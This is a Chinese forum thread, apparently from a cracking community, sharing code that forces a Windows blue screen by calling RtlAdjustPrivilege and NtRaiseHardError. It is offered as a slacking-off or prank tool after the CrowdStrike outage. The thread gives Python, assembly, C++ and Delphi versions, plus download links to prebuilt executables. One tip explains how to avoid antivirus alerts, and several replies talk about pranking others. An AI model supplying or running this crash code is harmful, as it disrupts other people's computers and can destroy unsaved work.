wkdxz 发表于 2024-7-20 15:12

一键蓝屏(可用来摸鱼)

本帖最后由 wkdxz 于 2024-7-21 14:14 编辑

昨天杀毒软件CrowdStrike更新引起Windows电脑蓝屏,导致Microsoft 365应用程序和服务出现中断,影响了全球的企业和用户。于是“感谢微软,提前放假”冲上了热搜。
没能感受到这番“福利”的兄弟们别慌,这边抄到一段python代码(作者:前同济大学副教授杨洋博士),运行后会导致电脑蓝屏。重启即可恢复。
运行前请务必关闭正在运行的文档,保存重要资料。
代码仅供娱乐,如造成电脑损伤或资料丢失,本人概不负责。


from ctypes import POINTER, byref, c_int, c_uint, c_ulong, windll

adjust_privilege_result = windll.ntdll.RtlAdjustPrivilege(
    c_uint(19), c_uint(1), c_uint(0), byref(c_int()))
raise_hard_error_result = windll.ntdll.NtRaiseHardError(c_ulong(0xC000021A), c_ulong(
    0), POINTER(c_int)(), POINTER(c_int)(), c_uint(6), byref(c_uint()))



实际运行效果,我是运行蓝屏了,重启恢复后看了电脑没问题再来发帖的,也算是以身试险了。



成品下载:https://wkdxz.lanzout.com/ixsGX251ydcd
建议自行编译为exe,免得又有人问我为什么杀毒软件报毒。

楼下:“爱飞的猫”斑竹做了个汇编版本,只有1.5K,推荐下载。

爱飞的猫 发表于 2024-7-20 20:34

本帖最后由 爱飞的猫 于 2024-7-20 20:40 编辑

就两个 API 调用,那我来个汇编的吧,应该是最小的了,编译出来不到 2K。

如果还需要优化的话,可以把 `eax` 改成 `esi`,就可以跳过第二次的 `lea` 取址指令了。

使用 FASM 编译即可:

```asm
format PE GUI 4.0
entry start

include 'win32a.inc'

; 强制蓝屏关机小程序
; 使用前请保存好数据
;   吾爱破解 - 爱飞的猫制作
section '.text' code readable executable
start:
    sub esp, 0x10
    lea eax, dword
    invoke RtlAdjustPrivilege, 19, 1, 0, eax
    lea eax, dword
    invoke NtRaiseHardError, 0xC000021A, 0, 0, 0, 6, eax

section '.idata' import data readable writeable

library ntdll,'ntdll.dll'

import ntdll,\
    RtlAdjustPrivilege,'RtlAdjustPrivilege',\
    NtRaiseHardError,'NtRaiseHardError'

```

https://pan.baidu.com/s/1JYY_6ql3xieyuWxJlFhuJw?pwd=hmtx

Hcandy 发表于 2024-7-20 16:16

#include <windows.h>
#include <iostream>

typedef NTSTATUS(WINAPI* RtlAdjustPrivilege)(ULONG, BOOLEAN, BOOLEAN, PBOOLEAN);
typedef NTSTATUS(WINAPI* NtRaiseHardError)(NTSTATUS, ULONG, ULONG, PULONG_PTR, ULONG, PULONG);

int main() {
    HMODULE hNtdll = LoadLibrary(L"ntdll.dll");

    RtlAdjustPrivilege pRtlAdjustPrivilege = (RtlAdjustPrivilege)GetProcAddress(hNtdll, "RtlAdjustPrivilege");
    NtRaiseHardError pNtRaiseHardError = (NtRaiseHardError)GetProcAddress(hNtdll, "NtRaiseHardError");

    BOOLEAN previousPrivilegeState;
        pRtlAdjustPrivilege(19, TRUE, FALSE, &previousPrivilegeState);

    ULONG response;
        pNtRaiseHardError(0xC000021A, 0, 0, NULL, 6, &response);
   
}

C++代码来了 :lol 编译出来大小只有十几K

barry324 发表于 2024-7-20 15:33

昨天很多企业版本的windows真的蓝屏了,这个摸鱼还是有帮助的,感谢。

coastarica 发表于 2024-7-22 12:20

本帖最后由 coastarica 于 2024-7-22 12:30 编辑

试了一下,改写为Delphi也可以呢

type
PULONG_PTR = ^ULONG_PTR;
RtlAdjustPrivilegeFunc = function(Privilege: ULONG; Enable: BOOLEAN; CurrentThread: BOOLEAN; PreviousState: PULONG_PTR): NTSTATUS; stdcall;
NtRaiseHardErrorFunc = function(ErrorStatus: NTSTATUS; NumberOfParameters: ULONG; UnicodeStringParameterMask: ULONG; Parameters: PULONG_PTR; ResponseOption: ULONG; Response: PULONG): NTSTATUS; stdcall;

procedure TForm1.btBlueScreenClick(Sender: TObject);
var
previousPrivilegeState: Boolean;
response: ULONG;
RtlAdjustPrivilege: RtlAdjustPrivilegeFunc;
NtRaiseHardError: NtRaiseHardErrorFunc;
hNtdll: HMODULE;
begin
hNtdll := LoadLibraryEx('ntdll.dll', 0, 0);
@RtlAdjustPrivilege := GetProcAddress(hNtdll, 'RtlAdjustPrivilege');
@NtRaiseHardError := GetProcAddress(hNtdll, 'NtRaiseHardError');
   RtlAdjustPrivilege(19, True, false, @previousPrivilegeState);
   NtRaiseHardError($C000021A, 0 ,0, nil, 6, @response);      //$C0000350亦可
   FreeLibrary(hNtdll);
end;

magiclyan 发表于 2024-7-20 15:25

整蛊下确实不错,Win11专用还是泛版本?
{:301_997:}

wkdxz 发表于 2024-7-20 15:27

magiclyan 发表于 2024-7-20 15:25
整蛊下确实不错,Win11专用还是泛版本?

我是win10,可用。

vipxh 发表于 2024-7-20 15:28

{:1_918:}整这个玩死人的

zhangrongqi 发表于 2024-7-20 15:31

已试 很好用

sshengs 发表于 2024-7-20 16:16

展示运维存在的重要性

李亲顾 发表于 2024-7-20 16:30

这个整人可以吗

wkdxz 发表于 2024-7-20 16:36

李亲顾 发表于 2024-7-20 16:30
这个整人可以吗

记得提前做好物理防护
页: [1] 2 3 4 5 6 7 8 9 10
查看完整版本: 一键蓝屏(可用来摸鱼)